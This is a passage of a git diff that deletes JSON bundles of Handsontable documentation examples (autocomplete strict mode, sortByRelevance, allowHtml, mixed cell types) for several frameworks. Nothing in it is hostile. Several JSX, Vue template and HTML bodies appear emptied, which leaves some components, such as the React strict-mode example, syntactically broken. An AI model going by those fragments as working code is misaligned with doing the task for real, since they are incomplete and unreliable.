build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst stockStatuses: string[] = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n];\n\nconst container = document.querySelector('#example9')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n [stockStatuses[0], stockStatuses[0]],\n [stockStatuses[1], stockStatuses[1]],\n [stockStatuses[2], stockStatuses[2]],\n [stockStatuses[3], stockStatuses[3]],\n [stockStatuses[4], stockStatuses[4]],\n ],\n colHeaders: ['allowHtml: false (default)', 'allowHtml: true'],\n columns: [\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // allowHtml: false is the default — HTML tags in `source` are shown as plain text\n },\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // render `source` values as HTML — only use with trusted, static data\n allowHtml: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example9.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json deleted file mode 100644 index ac9b3cf6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ]}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example3.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example8.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example8.tsx.json deleted file mode 100644 index a2674fd9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example8.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example8\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst statuses: string[] = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example8.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example9.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example9.tsx.json deleted file mode 100644 index 91d26d3d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__react__example9.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example9\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst stockStatuses: string[] = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/autocomplete-cell-type/react/example9.tsx","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json deleted file mode 100644 index d1a9ed6c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example3.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example8.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example8.vue.json deleted file mode 100644 index f498ab39..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example8.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example8\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example8.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example9.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example9.vue.json deleted file mode 100644 index 63aeb29c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__vue__example9.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example9\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/autocomplete-cell-type/vue/example9.vue","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example3.ts.json deleted file mode 100644 index 14b2b071..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type { CellMeta } from 'handsontable/settings';\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta: CellMeta[] = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n {\n type: 'intl-date',\n locale: 'en-US',\n dateFormat: { year: 'numeric', month: 'short', day: 'numeric' },\n },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\n@Component({\n selector: 'example3-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: ``,\n})\nexport class AppComponent {\n readonly data = [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Setting', 'Value'],\n columns: [{ readOnly: true }, {}],\n cells: (row: number, col: number) => (col === 1 ? (valueCellMeta[row] ?? {}) : {}),\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n { provide: HOT_GLOBAL_CONFIG, useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig },\n ],\n};"},"docsPath":"guides/cell-types/cell-type/angular/example3.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example3.js.json deleted file mode 100644 index 7f1230f8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n { type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: 'short', day: 'numeric' } },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n ],\n colHeaders: ['Setting', 'Value'],\n columns: [{ readOnly: true }, {}],\n cells(row, col) {\n return col === 1 ? (valueCellMeta[row] ?? {}) : {};\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/cell-type/javascript/example3.js","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example3.ts.json deleted file mode 100644 index 957b9e41..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { CellMeta } from 'handsontable/settings';\n\nregisterAllModules();\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta: CellMeta[] = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n { type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: 'short', day: 'numeric' } },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n ],\n colHeaders: ['Setting', 'Value'],\n columns: [{ readOnly: true }, {}],\n cells(row, col) {\n return col === 1 ? (valueCellMeta[row] ?? {}) : {};\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example3.tsx.json deleted file mode 100644 index c4d2e38d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm 